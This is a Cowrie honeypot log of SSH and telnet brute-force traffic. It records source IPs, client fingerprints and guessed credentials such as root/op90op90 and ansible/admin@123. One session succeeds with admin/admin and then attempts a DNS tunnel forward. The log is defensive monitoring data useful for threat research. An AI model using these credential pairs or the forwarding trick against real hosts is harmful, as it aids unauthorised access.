{"eventid":"cowrie.login.failed","username":"root","password":"op90op90","message":"login attempt [root/op90op90] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:39.677689Z","src_ip":"37.143.61.130","session":"ea0a68d5b172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:41.197176Z","src_ip":"37.143.61.130","session":"ea0a68d5b172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40034,"dst_ip":"159.203.135.109","dst_port":22,"session":"62172042cc1d","protocol":"ssh","message":"New connection: 159.203.92.129:40034 (159.203.135.109:22) [session: 62172042cc1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:47.545283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:47.550854Z","src_ip":"159.203.92.129","session":"62172042cc1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:47.555519Z","src_ip":"159.203.92.129","session":"62172042cc1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin@123","message":"login attempt [ansible/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:47.565598Z","src_ip":"159.203.92.129","session":"62172042cc1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:48.571468Z","src_ip":"159.203.92.129","session":"62172042cc1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":33848,"dst_ip":"10.17.0.5","dst_port":22,"session":"90d1dae00b5d","protocol":"ssh","message":"New connection: 125.31.2.160:33848 (10.17.0.5:22) [session: 90d1dae00b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:48.754807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:48.760385Z","src_ip":"125.31.2.160","session":"90d1dae00b5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:48.978997Z","src_ip":"125.31.2.160","session":"90d1dae00b5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234%^","message":"login attempt [root/qwer1234%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:49.883679Z","src_ip":"125.31.2.160","session":"90d1dae00b5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:51.104433Z","src_ip":"125.31.2.160","session":"90d1dae00b5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":37416,"dst_ip":"10.17.0.5","dst_port":23,"session":"1222f7c21a43","protocol":"telnet","message":"New connection: 139.162.207.207:37416 (10.17.0.5:23) [session: 1222f7c21a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:43:57.771452Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":41732,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac30a543b83","protocol":"telnet","message":"New connection: 146.19.248.24:41732 (159.203.135.109:23) [session: aac30a543b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:04.145892Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63858,"dst_ip":"10.17.0.5","dst_port":22,"session":"775de63284b6","protocol":"ssh","message":"New connection: 87.251.64.176:63858 (10.17.0.5:22) [session: 775de63284b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:05.595203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:05.600648Z","src_ip":"87.251.64.176","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:05.697081Z","src_ip":"87.251.64.176","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:05.989593Z","src_ip":"87.251.64.176","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:06.092553Z","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:06.190930Z","src_ip":"87.251.64.176","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:06.292103Z","src_ip":"87.251.64.176","session":"775de63284b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.184.76.7","src_port":33719,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fd749efad70","protocol":"ssh","message":"New connection: 195.184.76.7:33719 (159.203.135.109:22) [session: 8fd749efad70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:08.013950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:08.067896Z","src_ip":"195.184.76.7","session":"8fd749efad70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:08.081711Z","src_ip":"195.184.76.7","session":"8fd749efad70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:09.010269Z","src_ip":"195.184.76.7","session":"8fd749efad70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.230.168.1","src_port":46445,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1de697f7f4b","protocol":"ssh","message":"New connection: 91.230.168.1:46445 (159.203.135.109:22) [session: a1de697f7f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:11.895455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-perlssh","message":"Remote SSH version: SSH-2.0-perlssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:11.935200Z","src_ip":"91.230.168.1","session":"a1de697f7f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3c0eaacec19ba322a90a5541dac09a06","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5","hmac-sha1","umac-64@openssh.com","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3c0eaacec19ba322a90a5541dac09a06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:12.173696Z","src_ip":"91.230.168.1","session":"a1de697f7f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.157.135.60","src_port":46500,"dst_ip":"10.17.0.5","dst_port":23,"session":"91f4e3a63966","protocol":"telnet","message":"New connection: 103.157.135.60:46500 (10.17.0.5:23) [session: 91f4e3a63966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:12.619550Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:13.236126Z","src_ip":"91.230.168.1","session":"a1de697f7f4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":49044,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebbcc269b16f","protocol":"telnet","message":"New connection: 146.19.248.24:49044 (159.203.135.109:23) [session: ebbcc269b16f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:19.527480Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":49052,"dst_ip":"159.203.135.109","dst_port":23,"session":"87adc20ee31f","protocol":"telnet","message":"New connection: 146.19.248.24:49052 (159.203.135.109:23) [session: 87adc20ee31f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:20.064271Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":49068,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fa6da19a271","protocol":"telnet","message":"New connection: 146.19.248.24:49068 (159.203.135.109:23) [session: 9fa6da19a271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:21.273931Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46172,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cb2c01a223b","protocol":"ssh","message":"New connection: 159.203.92.129:46172 (159.203.135.109:22) [session: 9cb2c01a223b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:30.108566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:30.124418Z","src_ip":"159.203.92.129","session":"9cb2c01a223b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:30.132635Z","src_ip":"159.203.92.129","session":"9cb2c01a223b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin@12345","message":"login attempt [ansible/admin@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:30.148358Z","src_ip":"159.203.92.129","session":"9cb2c01a223b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:31.156898Z","src_ip":"159.203.92.129","session":"9cb2c01a223b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.576356172561646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:33.347731Z","src_ip":"139.162.207.207","session":"1222f7c21a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3868408203125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:35.532610Z","src_ip":"146.19.248.24","session":"aac30a543b83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":50286,"dst_ip":"159.203.135.109","dst_port":23,"session":"03137d687d6d","protocol":"telnet","message":"New connection: 146.19.248.24:50286 (159.203.135.109:23) [session: 03137d687d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:38.053264Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.19.248.24","src_port":50296,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bdb7948c93b","protocol":"telnet","message":"New connection: 146.19.248.24:50296 (159.203.135.109:23) [session: 8bdb7948c93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:42.380340Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":51628,"dst_ip":"10.17.0.5","dst_port":22,"session":"803d7fa3bb30","protocol":"ssh","message":"New connection: 125.31.2.160:51628 (10.17.0.5:22) [session: 803d7fa3bb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:42.666715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:42.671589Z","src_ip":"125.31.2.160","session":"803d7fa3bb30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:42.890235Z","src_ip":"125.31.2.160","session":"803d7fa3bb30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.05460786819458,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:44:43.674068Z","src_ip":"103.157.135.60","session":"91f4e3a63966","protocol":"telnet"}
